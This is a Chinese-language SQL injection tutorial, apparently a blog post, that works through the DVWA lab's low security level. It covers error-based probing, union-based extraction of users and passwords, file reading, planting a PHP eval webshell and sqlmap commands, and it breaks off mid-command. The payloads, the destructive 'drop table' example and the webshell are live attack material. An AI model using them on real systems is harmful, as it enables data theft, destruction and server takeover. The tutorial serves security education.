注入攻击的本质,是把用户输入的数据当做代码执行。
两个关键条件:用户能够控制输入;原本程序要执行的代码,拼接了用户输入的数据。
危害:获取数据库敏感信息(拖库)
先介绍一个简单的例子
var ShipCity;
Shipcity = Request.form("ShipCity");
var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'";
变量ShipCity由用户提交,正常情况下,如用户输入“Beijing”,那么SQL语句会执行
select * from OrdersTable where ShipCity = 'Beijing'
但如果用户输入了一段有语义的SQL语句,如
Beijing'; drop table OrdersTable --
那么SQL语句实际执行的是
select * from OrdersTable where ShipCity = 'Beijing'; drop table OrdersTable -- '
执行完正常的查询操作后,又执行了删除表的操作。
这就是一个简单的SQL注入的例子。下面将分别对SQL注入的两种形式进行介绍——回显注入和盲注。
回显注入
数据库的执行结果会直接显示在页面上。
low等级
进入DVWA的low模式,选择SQL Injection,输入1,执行正常的查询
猜测这个SQL语句的样子
select firstname, surname from xxx where userid=我们输入的id
探测是否存在漏洞
最常见的方式是在正常的数据后面添加单引号(‘),如果存在SQL注入,则会出现以下的情况
SQL报错,并且把错误的信息展现出来了。
根据SQL注入的原理,现在需构造SQL查询。
三种注入POC
确定注入POC
1 or 1024=1024
执行结果为userid=1的结果,并没有注入成功。
1' or '1024'='1024
出现了其它用户,说明or语句成功执行,成功实现注入。
1" or "1024"="1024
or语句也没有执行成功。
所以,这里变量是用单引号闭合的。
下面介绍下三种MySQL的注释符
确定查询的字段数
order by 1 正常,说明字段数至少为1.
order by 10 报错,说明字段数少于10.
使用二分法继续尝试,最后确认字段数为2.
确定回显点,回显的字段数,以及在哪个位置
使用union select
查询数据库信息
成功获取数据库版本和数据库目录。
查询用户名和数据库名称
查询表名
得到两个表guestbook和users。
查询列名
查询用户名和密码
获取明文密码
使用MySQL的load_file()函数读取本地文件
写webshell
PHP一句话木马,用于执行cmd参数的值
<?php
@eval($_GET['cmd']);
?>
首先需要知道把一句话木马写到哪里,必须知道web目录的物理路径。常用的方法是通过引发异常导致报错,报出web目录。
写入webshell
访问webshell
成功访问。
执行系统命令
命令执行成功。
自动化注入:sqlmap
提取正常请求的URL
指定攻击参数
获取登陆状态的cookie
sqlmap命令
sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=uo5r20nj4vpvgrnh6e87ig0dp5"
发现三个注入点:
- 基于布尔类型的SQL盲注
- 基于错误回显的SQL注入
- 基于时间延迟的SQL盲注
获取当前用户和数据库名
sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=uo5r20nj4vpvgrnh6e87ig0dp5" --current-user --current-db
查询表名
sqlmap.py -u "http://localhost